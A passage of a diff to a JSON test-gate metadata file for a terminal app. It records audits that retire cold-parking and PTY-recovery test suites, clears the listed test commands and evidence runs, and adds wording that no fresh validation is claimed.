for these six removed cases. Historical receipts retain their original scope. No fresh runtime, host/PTY/network, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit1939 (sources1934/1935): Pruned cold-parking hook and parked-watcher suites retain local timer/selection/split and exit/cancel/disposal progression. Lose supplied capability/eligibility/topology/admission and duplicate state examples recorded below. No assertion objects map to these sources here; preserve independent actual E2E receipt scopes without transferring their results to reduced units. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic policy and multiplex tests separate renderer parking from authoritative stream liveness, while runtime-graph tests cover exact parked leaf, pane runtime ID, title, multi-pane active-leaf, disposal behavior, and queued split routing to an exact cold-parked tab. A real Electron journey runs the shipped dev CLI against the app's isolated profile, proves the exact parked target alone remounts under a bounded lease, completes before the historical 10-second timeout without stealing active tab or focus, re-parks, then reveals two stable-identity panes with independent keyboard/output round trips. Focused mirror-recovery tests preserve a verified binding across pending-handle snapshots, quarantine positive PTY-identity mismatches, accept authoritative ready replacement or removal, and fence recovery to the pairing revision. Daemon attach-only tests prove a replacement runtime re-registers one active session and one history writer. Headed cold-park and headless runtime-restart paired journeys prove rendered output, input, resize convergence, process identity, authoritative close, checkpoint continuity, and post-restart history append against real daemon PTYs. The parked-leaf graph fixture now retains only PTY exit during the park handoff gap. Its standalone exact leaf/title, multi-pane active-leaf and disposal assertions were removed. web-runtime-session.test.ts no longer supplies the eager worktree-switch/post-create recovery assertion. Those alarms are lost; the remaining cold-park and recovery journeys do not establish equivalent replacement coverage. Recovery references retain old-host-to-new-tab mirroring, adoption/list recovery, blocked local ownership changes, coalescing/overtaking/global concurrency, adoption-conflict serialization and pane-resolution retries. Stable unsupported/malformed adoption tables, supplied inventory/topology/identity and verified-binding shape examples were removed. Their separate alarms are lost; remaining compositions are not equivalent coverage. Historical executed commands and results remain historical. The separate Unsubscribe-to-raw-subscriber-veto-clear sample was removed. Its exact raw-presence transition alarm is lost; remaining fake-provider streaming/attachment checks and real paired journeys do not establish equivalent replacement coverage. The deterministic second subscription is a second live connection, not a disconnect/reconnect proof. Audit1292: The entire orphan-inventory retry suite is removed. Unchanged-snapshot retry for temporarily absent, pending or attached PTYs, live-binding preservation, and consecutive-absence confirmation reset after a ready frame are lost. Mock adoption/list behavior and assembled snapshot handling did not establish actual orphan adoption or equivalent replacement coverage. Audit1342: src/renderer/src/runtime/web-session-terminal-orphan-recovery-regressions.test.ts reduced. Exact global RPC concurrency4/counts for fabricated worktrees. No equivalent replacement coverage is claimed. Module-layout cleanup: Removed the old-host recovery TEST alarm for preserving a newly created CLI tab across stream/list ordering. No replacement coverage or new execution is claimed; dated receipts describe their original runs.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5879 retires the entire cold-parking hook suite and its stale exemption/park-set and unnecessary recomputation alarms. Remaining selectors are not equivalent replacement coverage; unchanged independent dated receipts retain their original scope and do not validate reduced commands. Historical prior account preserved verbatim: Audit5790 companion to audit5787: Retire split request routing: stable-leaf replay, reminting, host isolation, expiry/cancel/cap lease alarms intentionally lost. Narrow1 compound selector and remove1 testFiles and1 assertionRef. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5668 integrates source audit5662: retire the whole sync-runtime-graph-parked-leaf.test.ts suite and its exact active selectors and assertionRef. Intentionally lose pre-handler PTY exit during the park handoff gap must drop the stale parked leaf from graph publication alarms without replacement. Remaining selectors retain only their own scope; no fresh execution, native/platform or remote evidence is claimed. Complete original selector fields are preserved in knownGaps. Historical prior account (preserved verbatim): Audit5631 accompanies Audit5617 whole-suite deletion of src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery-regressions.test.ts. Accepted loss: Degraded-frame latest-queue coalescing and fully-ready-frame supersession of held recovery. No equivalent replacement or fresh reduced-command validation is claimed. Retained partial protection applies only to independent historical receipt scopes and does not protect these retired alarms. Historical prior account follows: Audit5605 retires complete low-value suites src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery.test.ts. Intentionally lose serialization of newer convergence after an in-flight adoption conflict alarms. Reduced commands have no fresh gate evidence or equivalent replacement claim. Historical prior account follows: Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. The paired serve-restart file loses only the expensive automation-run-ID restart case. Its original terminal journey remains byte-identical: daemon/fixture process identity survives replacement serve, keyboard/output/grid/history/checkpoint converge and authoritative close removes the binding. LAYOUT_OWNER_BUILD gates its pending-handle assertion. Existing dated receipt objects and assertion references retain their original terminal-journey scope and provide no fresh validation of the reduced file selector. Audit3362 retires the whole orphan-recovery adoption-regressions suite, including thrown-adoption/post-adoption malformed or unavailable retries, prior-binding preservation, projected sibling retirement merging and blocked local-close/group-move fencing. Its compound unit token, test-file entry and assertion reference are removed. Injected inventory/adoption projections did not demonstrate usable input delivery. Two unrelated macOS E2E receipts remain verbatim; no equivalent replacement or fresh runtime/PTY/provider/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit 3318 reduces web-session-terminal-pending-handle-recovery.test.ts, intentionally retiring disconnected retry, two-authoritative-absence retirement, explicit close-record short circuit, older-host disconnected absence, positive published-presence protection and unpublished-frame no-count alarms. Remove only the disconnected-retry assertion alias; preserve transient-retry assertion and both unchanged active Electron receipts. The remaining absence-reset interleaving is narrower, not an equivalent replacement for these six removed cases. Historical receipts retain their original scope. No fresh runtime, host/PTY/network, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit1939 (sources1934/1935): Pruned cold-parking hook and parked-watcher suites retain local timer/selection/split and exit/cancel/disposal progression. Lose supplied capability/eligibility/topology/admission and duplicate state examples recorded below. No assertion objects map to these sources here; preserve independent actual E2E receipt scopes without transferring their results to reduced units. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic policy and multiplex tests separate renderer parking from authoritative stream liveness, while runtime-graph tests cover exact parked leaf, pane runtime ID, title, multi-pane active-leaf, disposal behavior, and queued split routing to an exact cold-parked tab. A real Electron journey runs the shipped dev CLI against the app's isolated profile, proves the exact parked target alone remounts under a bounded lease, completes before the historical 10-second timeout without stealing active tab or focus, re-parks, then reveals two stable-identity panes with independent keyboard/output round trips. Focused mirror-recovery tests preserve a verified binding across pending-handle snapshots, quarantine positive PTY-identity mismatches, accept authoritative ready replacement or removal, and fence recovery to the pairing revision. Daemon attach-only tests prove a replacement runtime re-registers one active session and one history writer. Headed cold-park and headless runtime-restart paired journeys prove rendered output, input, resize convergence, process identity, authoritative close, checkpoint continuity, and post-restart history append against real daemon PTYs. The parked-leaf graph fixture now retains only PTY exit during the park handoff gap. Its standalone exact leaf/title, multi-pane active-leaf and disposal assertions were removed. web-runtime-session.test.ts no longer supplies the eager worktree-switch/post-create recovery assertion. Those alarms are lost; the remaining cold-park and recovery journeys do not establish equivalent replacement coverage. Recovery references retain old-host-to-new-tab mirroring, adoption/list recovery, blocked local ownership changes, coalescing/overtaking/global concurrency, adoption-conflict serialization and pane-resolution retries. Stable unsupported/malformed adoption tables, supplied inventory/topology/identity and verified-binding shape examples were removed. Their separate alarms are lost; remaining compositions are not equivalent coverage. Historical executed commands and results remain historical. The separate Unsubscribe-to-raw-subscriber-veto-clear sample was removed. Its exact raw-presence transition alarm is lost; remaining fake-provider streaming/attachment checks and real paired journeys do not establish equivalent replacement coverage. The deterministic second subscription is a second live connection, not a disconnect/reconnect proof. Audit1292: The entire orphan-inventory retry suite is removed. Unchanged-snapshot retry for temporarily absent, pending or attached PTYs, live-binding preservation, and consecutive-absence confirmation reset after a ready frame are lost. Mock adoption/list behavior and assembled snapshot handling did not establish actual orphan adoption or equivalent replacement coverage. Audit1342: src/renderer/src/runtime/web-session-terminal-orphan-recovery-regressions.test.ts reduced. Exact global RPC concurrency4/counts for fabricated worktrees. No equivalent replacement coverage is claimed. Module-layout cleanup: Removed the old-host recovery TEST alarm for preserving a newly created CLI tab across stream/list ordering. No replacement coverage or new execution is claimed; dated receipts describe their original runs.", "motivatingLinks": [ "https://linear.app/stably/issue/STA-2854", "https://github.com/stablyai/orca/pull/15514", @@ -12954,101 +11557,26 @@ "https://github.com/stablyai/orca/issues/17297" ], "invariant": "Cold parking or restarting a host renderer/runtime never retires a live PTY's runtime-graph leaf, erases a paired viewer's last verified leaf binding merely because the host temporarily publishes pending-handle, or drops the surviving PTY's history writer. A split request for a cold-parked tab replays against its stable source leaf after exact-tab remount without switching workspaces or focusing the tab. The paired stream, input, resize, pane identity, multi-pane routing, checkpoint, and output log converge to the authoritative ready handle; the binding clears only after positive replacement, mismatch, or two consecutive authoritative absence observations without an intervening ready surface.", - "oracle": "Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5879 retires the entire cold-parking hook suite and its stale exemption/park-set and unnecessary recomputation alarms. Remaining selectors are not equivalent replacement coverage; unchanged independent dated receipts retain their original scope and do not validate reduced commands. Historical prior account preserved verbatim: Audit5790 companion to audit5787: Retire split request routing: stable-leaf replay, reminting, host isolation, expiry/cancel/cap lease alarms intentionally lost. Narrow1 compound selector and remove1 testFiles and1 assertionRef. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5668 integrates source audit5662: retire the whole sync-runtime-graph-parked-leaf.test.ts suite and its exact active selectors and assertionRef. Intentionally lose pre-handler PTY exit during the park handoff gap must drop the stale parked leaf from graph publication alarms without replacement. Remaining selectors retain only their own scope; no fresh execution, native/platform or remote evidence is claimed. Complete original selector fields are preserved in knownGaps. Historical prior account (preserved verbatim): Audit5631 accompanies Audit5617 whole-suite deletion of src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery-regressions.test.ts. Accepted loss: Degraded-frame latest-queue coalescing and fully-ready-frame supersession of held recovery. No equivalent replacement or fresh reduced-command validation is claimed. Retained partial protection applies only to independent historical receipt scopes and does not protect these retired alarms. Historical prior account follows: Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. The paired serve-restart file loses only the expensive automation-run-ID restart case. Its original terminal journey remains byte-identical: daemon/fixture process identity survives replacement serve, keyboard/output/grid/history/checkpoint converge and authoritative close removes the binding. LAYOUT_OWNER_BUILD gates its pending-handle assertion. Existing dated receipt objects and assertion references retain their original terminal-journey scope and provide no fresh validation of the reduced file selector. Audit3362 retires the whole orphan-recovery adoption-regressions suite, including thrown-adoption/post-adoption malformed or unavailable retries, prior-binding preservation, projected sibling retirement merging and blocked local-close/group-move fencing. Its compound unit token, test-file entry and assertion reference are removed. Injected inventory/adoption projections did not demonstrate usable input delivery. Two unrelated macOS E2E receipts remain verbatim; no equivalent replacement or fresh runtime/PTY/provider/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit 3318 reduces web-session-terminal-pending-handle-recovery.test.ts, intentionally retiring disconnected retry, two-authoritative-absence retirement, explicit close-record short circuit, older-host disconnected absence, positive published-presence protection and unpublished-frame no-count alarms. Remove only the disconnected-retry assertion alias; preserve transient-retry assertion and both unchanged active Electron receipts. The remaining absence-reset interleaving is narrower, not an equivalent replacement for these six removed cases. Historical receipts retain their original scope. No fresh runtime, host/PTY/network, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit1939 (sources1934/1935): Pruned cold-parking hook and parked-watcher suites retain local timer/selection/split and exit/cancel/disposal progression. Lose supplied capability/eligibility/topology/admission and duplicate state examples recorded below. No assertion objects map to these sources here; preserve independent actual E2E receipt scopes without transferring their results to reduced units. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Cold-park a host-owned pane while a paired client actively views it, require the host manager to unmount, then type through the client and require the same PTY to receive and echo the token without any disconnected sample. Restart a real pinned-port headless runtime while its daemon PTY survives, observe a pending-handle snapshot, require the viewer binding never to become empty, then require rendered output, focused keyboard input, a post-recovery window resize, the pre-restart checkpoint, and post-restart output-log append to reach the same PTY and process before authoritative close clears the binding. Invoke the real `orca-dev terminal split` against a cold-parked renderer-owned tab, require only that tab to acquire and release the existing background-mount lease, complete before the historical timeout, preserve the active worktree/tab/focus, then reveal two rendered panes and type through each while retaining the stable source leaf and PTY. Deterministically require synchronous stable-leaf replay after lifecycle registration and fail closed for a missing or stale leaf. Separately publish multi-pane parked leaves with exact pane runtime IDs and require per-PTY disposal to remove only the retired leaf.", - "commands": [ - "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/hooks/ipc-events/terminal/terminal-ui-routing-ipc-bridge-split.test.ts src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts tests/e2e/host-cold-park-remote-subscriber.unit.test.ts --reporter=dot", - "pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-cold-restore-reanchor.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-session-adoption.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-protocol-compatibility.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-history-recovery.test.ts --reporter=dot", - "pnpm exec playwright test tests/e2e/host-parked-pane-remote-viewer.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "pnpm exec playwright test tests/e2e/terminal-parked-cli-split.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "pnpm exec playwright test tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": [ - "src/renderer/src/hooks/ipc-events/terminal/terminal-ui-routing-ipc-bridge-split.test.ts", - "src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts", - "src/main/daemon/providers/adapter/testing/daemon-pty-adapter-cold-restore-reanchor.test.ts", - "src/main/daemon/providers/adapter/testing/daemon-pty-adapter-session-adoption.test.ts", - "src/main/daemon/providers/adapter/testing/daemon-pty-adapter-protocol-compatibility.test.ts", - "src/main/daemon/providers/adapter/testing/daemon-pty-adapter-history-recovery.test.ts", - "tests/e2e/host-cold-park-remote-subscriber.unit.test.ts", - "tests/e2e/host-parked-pane-remote-viewer.spec.ts", - "tests/e2e/terminal-parked-cli-split.spec.ts", - "tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts" - ], - "assertionRefs": [ - { - "file": "tests/e2e/host-cold-park-remote-subscriber.unit.test.ts", - "assertions": [ - "a fully unmounted host renderer still streams, accepts input, and resubscribes" - ] - }, - { - "file": "tests/e2e/host-parked-pane-remote-viewer.spec.ts", - "assertions": [ - "a cold-parked host pane carries a complete paired-client input and echo round trip" - ] - }, - { - "file": "tests/e2e/terminal-parked-cli-split.spec.ts", - "assertions": [ - "the shipped dev CLI completes an exact parked-tab split before the historical 10-second timeout", - "only the parked target mounts under the bounded lease while the decoy worktree, tab, active leaf, and keyboard focus stay unchanged", - "the target re-parks, then reveals two visible panes with the stable source leaf, PTY, and handle intact", - "both the source and created pane accept scoped keyboard input and render independently generated output" - ] - }, - { - "file": "tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts", - "assertions": [ - "a real headless runtime restart never empties the viewer's verified binding while the daemon PTY survives", - "rendered output, focused input, and resized grid delivery converge after the replacement runtime is ready", - "the original fixture process survives while its pre-restart checkpoint and post-restart history append remain durable", - "authoritative tab close removes the viewer binding" - ] - }, - { - "file": "src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts", - "assertions": [ - "retries a transient pane-resolution failure for an unchanged replayed snapshot" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-29", - "runner": "local", - "platform": "macos", - "result": "passed", - "command": "pnpm exec playwright test tests/e2e/terminal-parked-cli-split.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "durationSeconds": 24, - "summary": "A real isolated-profile Electron run passed in 23.0 seconds: the shipped CLI split the exact cold-parked renderer tab before its historical timeout, only that tab mounted and released its background lease, the decoy selection and focus remained unchanged, and both stable-identity panes completed rendered keyboard/output round trips after reveal.", - "currentCommand": "pnpm exec playwright test tests/e2e/terminal-parked-cli-split.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - }, - { - "date": "2026-08-29", - "runner": "local", - "platform": "macos", - "result": "passed", - "command": "pnpm exec playwright test tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "durationSeconds": 36, - "summary": "A clean exact-source build passed the real pinned-port serve replacement in 27.4 seconds: the daemon PTY and fixture PID survived, the renderer observed pending-handle without an empty or divergent binding, output/input/resize converged, history checkpoint and output.log continuity held, and authoritative close removed the surface. An exact-bundle repeat also passed.", - "currentCommand": "pnpm exec playwright test tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5879 retires the entire cold-parking hook suite and its stale exemption/park-set and unnecessary recomputation alarms. Remaining selectors are not equivalent replacement coverage; unchanged independent dated receipts retain their original scope and do not validate reduced commands. Historical prior account preserved verbatim: Audit5790 companion to audit5787: Retire split request routing: stable-leaf replay, reminting, host isolation, expiry/cancel/cap lease alarms intentionally lost. Narrow1 compound selector and remove1 testFiles and1 assertionRef. Complete dated evidenceRuns are unchanged; none selects these retired suites and none validates narrowed selectors. All unrelated remaining assertions and selectors retain their original scope, without replacement certification. No fresh execution or current import reachability result is claimed. Complete prior account preserved verbatim below as historical: Audit5668 integrates source audit5662: retire the whole sync-runtime-graph-parked-leaf.test.ts suite and its exact active selectors and assertionRef. Intentionally lose pre-handler PTY exit during the park handoff gap must drop the stale parked leaf from graph publication alarms without replacement. Remaining selectors retain only their own scope; no fresh execution, native/platform or remote evidence is claimed. Complete original selector fields are preserved in knownGaps. Historical prior account (preserved verbatim): Audit5631 accompanies Audit5617 whole-suite deletion of src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery-regressions.test.ts. Accepted loss: Degraded-frame latest-queue coalescing and fully-ready-frame supersession of held recovery. No equivalent replacement or fresh reduced-command validation is claimed. Retained partial protection applies only to independent historical receipt scopes and does not protect these retired alarms. Historical prior account follows: Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. The paired serve-restart file loses only the expensive automation-run-ID restart case. Its original terminal journey remains byte-identical: daemon/fixture process identity survives replacement serve, keyboard/output/grid/history/checkpoint converge and authoritative close removes the binding. LAYOUT_OWNER_BUILD gates its pending-handle assertion. Existing dated receipt objects and assertion references retain their original terminal-journey scope and provide no fresh validation of the reduced file selector. Audit3362 retires the whole orphan-recovery adoption-regressions suite, including thrown-adoption/post-adoption malformed or unavailable retries, prior-binding preservation, projected sibling retirement merging and blocked local-close/group-move fencing. Its compound unit token, test-file entry and assertion reference are removed. Injected inventory/adoption projections did not demonstrate usable input delivery. Two unrelated macOS E2E receipts remain verbatim; no equivalent replacement or fresh runtime/PTY/provider/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit 3318 reduces web-session-terminal-pending-handle-recovery.test.ts, intentionally retiring disconnected retry, two-authoritative-absence retirement, explicit close-record short circuit, older-host disconnected absence, positive published-presence protection and unpublished-frame no-count alarms. Remove only the disconnected-retry assertion alias; preserve transient-retry assertion and both unchanged active Electron receipts. The remaining absence-reset interleaving is narrower, not an equivalent replacement for these six removed cases. Historical receipts retain their original scope. No fresh runtime, host/PTY/network, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit1939 (sources1934/1935): Pruned cold-parking hook and parked-watcher suites retain local timer/selection/split and exit/cancel/disposal progression. Lose supplied capability/eligibility/topology/admission and duplicate state examples recorded below. No assertion objects map to these sources here; preserve independent actual E2E receipt scopes without transferring their results to reduced units. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Cold-park a host-owned pane while a paired client actively views it, require the host manager to unmount, then type through the client and require the same PTY to receive and echo the token without any disconnected sample. Restart a real pinned-port headless runtime while its daemon PTY survives, observe a pending-handle snapshot, require the viewer binding never to become empty, then require rendered output, focused keyboard input, a post-recovery window resize, the pre-restart checkpoint, and post-restart output-log append to reach the same PTY and process before authoritative close clears the binding. Invoke the real `orca-dev terminal split` against a cold-parked renderer-owned tab, require only that tab to acquire and release the existing background-mount lease, complete before the historical timeout, preserve the active worktree/tab/focus, then reveal two rendered panes and type through each while retaining the stable source leaf and PTY. Deterministically require synchronous stable-leaf replay after lifecycle registration and fail closed for a missing or stale leaf. Separately publish multi-pane parked leaves with exact pane runtime IDs and require per-PTY disposal to remove only the retired leaf.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 360, - "scope": "Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." }, "flakeHistory": { "status": "not-started", - "evidence": "Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: The cold-park, parked CLI split, and restart sentinels are source-routed for PR collection; route-specific CI history has not started." + "evidence": "No fresh soak for changed E2E selectors. Historical account: Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: The cold-park, parked CLI split, and restart sentinels are source-routed for PR collection; route-specific CI history has not started." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: On the affected STA-2854 path, cold parking removed the runtime-graph leaf and the paired stream disconnected; retaining the exact live parked watcher leaf keeps every sampled client phase connected and completes input plus echo. Issue #17297 records the same-handle Windows A/B: the parked split failed after 11 seconds while an explicit switch made it immediate; the fixed macOS Electron journey completes before that 10-second internal timeout without a switch, preserves the decoy context, and renders independent round trips in both panes. Before the #12115 fix, the real restart delivered pending-handle and the viewer's tab identity rotated away from its retained layout binding; output still painted but post-restart keyboard output never reached output.log because attach-only adoption registered no active history writer. The fixed journey keeps one identity and appends history, while deterministic tests separate ready replacement, positive mismatch, safe retention, exact adoption, and removal." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: On the affected STA-2854 path, cold parking removed the runtime-graph leaf and the paired stream disconnected; retaining the exact live parked watcher leaf keeps every sampled client phase connected and completes input plus echo. Issue #17297 records the same-handle Windows A/B: the parked split failed after 11 seconds while an explicit switch made it immediate; the fixed macOS Electron journey completes before that 10-second internal timeout without a switch, preserves the decoy context, and renders independent round trips in both panes. Before the #12115 fix, the real restart delivered pending-handle and the viewer's tab identity rotated away from its retained layout binding; output still painted but post-restart keyboard output never reached output.log because attach-only adoption registered no active history writer. The fixed journey keeps one identity and appends history, while deterministic tests separate ready replacement, positive mismatch, safe retention, exact adoption, and removal." }, "performanceBudget": { "required": true, - "evidence": "Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Publication reads the existing bounded parked-watcher registry. Parked split routing retains at most 32 requests and 32 exact-tab leases, uses the existing three-second background mount window, cancels on close, and adds no polling or provider scan. Pending recovery is event-driven, capped at 64 exact candidates, and pairing-revision fenced. Each environment/revision/worktree key runs one active request plus only the latest trailing frame; the global RPC lane permits at most 4 active and 64 waiting calls; dispositions are capped at 512 fingerprints; ready/removal frames overtake degraded recovery. A repeated semantic snapshot version can retry a transient adoption failure without polling. The path adds no wire field, and its live journeys are selected only by exact parking, split-routing, recovery, stream, and daemon-attach authorities." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Publication reads the existing bounded parked-watcher registry. Parked split routing retains at most 32 requests and 32 exact-tab leases, uses the existing three-second background mount window, cancels on close, and adds no polling or provider scan. Pending recovery is event-driven, capped at 64 exact candidates, and pairing-revision fenced. Each environment/revision/worktree key runs one active request plus only the latest trailing frame; the global RPC lane permits at most 4 active and 64 waiting calls; dispositions are capped at 512 fingerprints; ready/removal frames overtake degraded recovery. A repeated semantic snapshot version can retry a transient adoption failure without polling. The path adds no wire field, and its live journeys are selected only by exact parking, split-routing, recovery, stream, and daemon-attach authorities." }, "promotionCriteria": [ "Collect 100 consecutive routed CI passes or 14 days without an unexplained flake.", @@ -13092,7 +11620,12 @@ "Audit5879 retired cold-parking selector metadata; complete original commands/testFiles preserved as history: {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-tab-watchers.test.ts src/renderer/src/components/terminal-pane/parking/lifecycle/use-terminal-tab-cold-parking.test.ts src/renderer/src/hooks/ipc-events/terminal-ui-routing-ipc-bridge-split.test.ts src/main/runtime/terminal/layout/orca-runtime-terminal-split-authority.test.ts src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts tests/e2e/host-cold-park-remote-subscriber.unit.test.ts --reporter=dot\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-cold-restore-reanchor.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-session-adoption.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-protocol-compatibility.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-history-recovery.test.ts --reporter=dot\",\"pnpm exec playwright test tests/e2e/host-parked-pane-remote-viewer.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\"pnpm exec playwright test tests/e2e/terminal-parked-cli-split.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\"pnpm exec playwright test tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts --config tests/playwright.config.ts --project electron-headless 